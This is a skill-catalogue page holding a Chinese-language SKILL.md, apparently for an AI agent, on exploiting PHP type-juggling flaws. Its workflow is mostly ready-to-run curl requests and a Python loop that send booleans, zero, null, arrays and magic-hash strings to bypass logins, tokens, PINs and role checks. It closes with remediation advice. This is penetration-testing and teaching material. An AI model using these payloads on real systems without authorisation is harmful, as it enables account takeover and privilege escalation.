L’interface est localisée ; les présentations et documents des Skills sont traduits automatiquement par IA dans votre langue. Le code, les commandes, chemins et termes techniques restent en version originale, et le document de l’auteur fait foi.
Explorer les Skills
Productivité · SKILL.md

exploiting-type-juggling-vulnerabilities

exploiting-type-juggling-vulnerabilities

利用 PHP 宽松比较运算符导致的类型转换漏洞,通过类型强制攻击绕过身份验证、规避哈希验证并操纵应用程序逻辑。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentation de la Skill

GitHub

name: exploiting-type-juggling-vulnerabilities description: 利用 PHP 宽松比较运算符导致的类型转换漏洞,通过类型强制攻击绕过身份验证、规避哈希验证并操纵应用程序逻辑。 domain: cybersecurity subdomain: web-application-security tags: [type-juggling, php-security, loose-comparison, authentication-bypass, magic-hash, type-coercion, web-security] version: "1.0" author: mahipal license: Apache-2.0

利用类型转换漏洞(Exploiting Type Juggling Vulnerabilities)

适用场景

  • 测试 PHP Web 应用程序的身份验证绕过漏洞时
  • 评估密码比较和哈希验证逻辑时
  • 测试使用宽松比较(== 而非 ===)的应用程序时
  • 对处理 JSON 或反序列化输入的 PHP 应用程序进行代码审查时
  • 评估依赖类型相关比较的输入验证时

前置条件

  • 了解 PHP 类型系统和宽松比较行为
  • 掌握魔术哈希值(0e 前缀)及其科学记数法解释
  • 使用 Burp Suite 进行请求操纵和参数类型更改
  • PHP 开发环境,用于本地测试载荷
  • 来自 PayloadsAllTheThings 的魔术哈希字符串集合
  • 能够发送 JSON 或序列化数据以控制输入类型

工作流程

步骤 1 — 识别类型转换目标

# 查找具有以下特征的 PHP 应用程序:
# - 登录/认证表单
# - 密码比较端点
# - 接受 JSON 输入的 API 端点
# - 令牌/哈希验证
# - 用于访问控制的数值比较

# 检查应用程序是否接受 JSON 输入(允许类型控制)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"test"}'

# 如果应用程序通常使用表单数据,尝试 JSON
# 表单:username=admin&password=test
# JSON:{"username":"admin","password":true}

步骤 2 — 利用宽松比较实现身份验证绕过

# PHP 宽松比较:0 == "password" 返回 TRUE
# 通过 JSON 发送整数 0 作为密码
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":0}'

# 发送布尔值 true(宽松比较中 TRUE == "任意字符串")
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":true}'

# 发送空数组(数组绕过 strcmp)
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":[]}'

# 发送 null
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":null}'

# PHP strcmp 漏洞:strcmp(array, string) 返回 NULL
# 宽松比较中 NULL == 0 为 TRUE
curl -X POST http://target.com/login \
  -d "username=admin&password[]=anything"

步骤 3 — 利用魔术哈希碰撞

# PHP 将 "0e..." 字符串视为科学记数法(0 * 10^N = 0)
# 如果哈希以 "0e" 开头且后跟纯数字,则在宽松比较中等于 0

# 魔术 MD5 哈希(在宽松比较中均等于 0):
# "240610708" -> md5: 0e462097431906509019562988736854
# "QNKCDZO"  -> md5: 0e830400451993494058024219903391
# "aabg7XSs" -> md5: 0e087386482136013740957780965295
# "aabC9RqS" -> md5: 0e041022518165728065344349536299

# 如果应用程序比较 md5(user_input) == stored_hash:
# 且 stored_hash 以 "0e" 开头且后续只有数字
curl -X POST http://target.com/login \
  -d "username=admin&password=240610708"

# 魔术 SHA1 哈希:
# "aaroZmOk" -> sha1: 0e66507019969427134894567494305185566735
# "aaK1STfY" -> sha1: 0e76658526655756207688271159624026011393

# 使用已知魔术哈希值进行测试
for payload in "240610708" "QNKCDZO" "aabg7XSs" "aabC9RqS" "0e1137126905" "0e215962017"; do
  echo -n "测试:$payload -> "
  curl -s -X POST http://target.com/login \
    -d "username=admin&password=$payload" -o /dev/null -w "%{http_code}"
  echo
done

步骤 4 — 利用访问控制中的比较漏洞

# 数值比较绕过
# 如果:if($user_id == $target_id) { // 允许访问 }
# "0" == "0e12345" 为 TRUE(均等于 0)

# 字符串到整数转换
# "1abc" == 1 在 PHP 中为 TRUE(字符串截断为整数)
curl "http://target.com/api/user?id=1abc"

# 用于角色检查的布尔比较
# if($role == true) 对任何非空字符串都授予访问权限
curl -X POST http://target.com/api/action \
  -H "Content-Type: application/json" \
  -d '{"action":"delete","role":true}'

# 用于可选检查的 Null 比较
# if($token == null) 可能跳过验证
curl -X POST http://target.com/api/verify \
  -H "Content-Type: application/json" \
  -d '{"token":0}'

步骤 5 — 通过反序列化输入利用

# PHP json_decode() 保留类型
# 攻击者通过 JSON 控制类型:true、0、null、[]

# 绕过令牌验证
curl -X POST http://target.com/api/verify-token \
  -H "Content-Type: application/json" \
  -d '{"token":true}'

# 绕过数字 PIN 验证
curl -X POST http://target.com/api/verify-pin \
  -H "Content-Type: application/json" \
  -d '{"pin":true}'

# 使用零值绕过
curl -X POST http://target.com/api/check-code \
  -H "Content-Type: application/json" \
  -d '{"code":0}'

# PHP unserialize() 类型转换
# 构造整数类型而非字符串类型的序列化对象
# s:8:"password"; -> i:0;(字符串 "password" 改为整数 0)

步骤 6 — 自动化类型转换测试

# 针对每个参数测试所有常见类型转换载荷
# 在 Burp Intruder 中使用类型转换载荷列表

# 基于 JSON 测试的载荷列表:
# true
# false
# null
# 0
# 1
# ""
# []
# "0"
# "0e99999"
# "240610708"

# Python 自动化脚本
python3 -c "
import requests
import json

url = 'http://target.com/api/login'
payloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']

for p in payloads:
    data = {'username': 'admin', 'password': p}
    r = requests.post(url, json=data)
    print(f'password={json.dumps(p):20s} -> 状态: {r.status_code}, 长度: {len(r.text)}')
"

核心概念

概念定义
宽松比较(==)PHP 比较,在比较值之前执行类型强制转换
严格比较(===)PHP 比较,要求值和类型都匹配
魔术哈希(Magic Hash)哈希以 "0e" 开头并后跟数字的字符串,在宽松比较中等于 0
类型强制(Type Coercion)比较期间类型之间的自动转换(字符串转整数、null 转 0)
strcmp 绕过(strcmp Bypass)将数组传递给 strcmp() 返回 NULL,在宽松比较中等于 0
JSON 类型控制(JSON Type Control)使用 JSON 输入向 PHP 端点发送特定类型(布尔值、整数、null)
科学记数法(Scientific Notation)PHP 在数值比较中将 "0eN" 字符串解释为 0

工具与系统

工具用途
Burp Suite用于更改请求中参数类型的 HTTP 代理
PHP 交互式 Shell本地测试类型转换行为
PayloadsAllTheThings精选的魔术哈希和类型转换载荷列表
phpggcPHP 通用 Gadget 链,用于反序列化利用
自定义 Python 脚本自动化类型转换载荷测试
PHPStan/Psalm检测代码中宽松比较的静态分析工具

常见场景

  1. 通过布尔值绕过身份验证 — 发送 "password": true 作为 JSON 以绕过宽松比较密码验证
  2. 魔术哈希碰撞 — 使用已知魔术哈希输入("240610708"),其 MD5 以 "0e" 开头,与存储的哈希匹配
  3. strcmp 数组绕过 — 发送 password[]=anything,使 strcmp() 返回 NULL,绕过密码比较
  4. PIN/OTP 绕过 — 发送整数 0 作为验证码,与实际代码的 "0e..." 哈希匹配
  5. 角色提升 — 发送 "role": true,在宽松比较访问控制中匹配任何非空角色字符串

输出格式

## 类型转换漏洞报告
- **目标**:http://target.com
- **语言**:PHP 8.1
- **框架**:Laravel

### 发现
| # | 端点 | 参数 | 载荷 | 类型 | 影响 |
|---|----------|-----------|---------|------|--------|
| 1 | POST /login | password | true(布尔值) | 宽松比较 | 认证绕过 |
| 2 | POST /login | password | 240610708(魔术哈希) | MD5 0e 碰撞 | 认证绕过 |
| 3 | POST /login | password[] | 数组 | strcmp 返回 NULL | 认证绕过 |
| 4 | POST /verify | code | 0(整数) | 数值比较 | OTP 绕过 |

### PHP 比较表(相关)
| 表达式 | 结果 | 原因 |
|-----------|--------|--------|
| 0 == "password" | TRUE | 字符串转换为 0 |
| true == "password" | TRUE | 非空字符串为真值 |
| "0e123" == "0e456" | TRUE | 均为科学记数法 = 0 |
| NULL == 0 | TRUE | NULL 转换为 0 |

### 修复建议
- 在安全关键代码中将所有 == 替换为 ===(严格比较)
- 使用 password_verify() 进行密码比较,而非直接比较
- 使用 hash_equals() 进行时序安全的哈希比较
- 在比较操作前验证输入类型
- 在所有文件中启用 PHP strict_types 声明
Skills enregistrées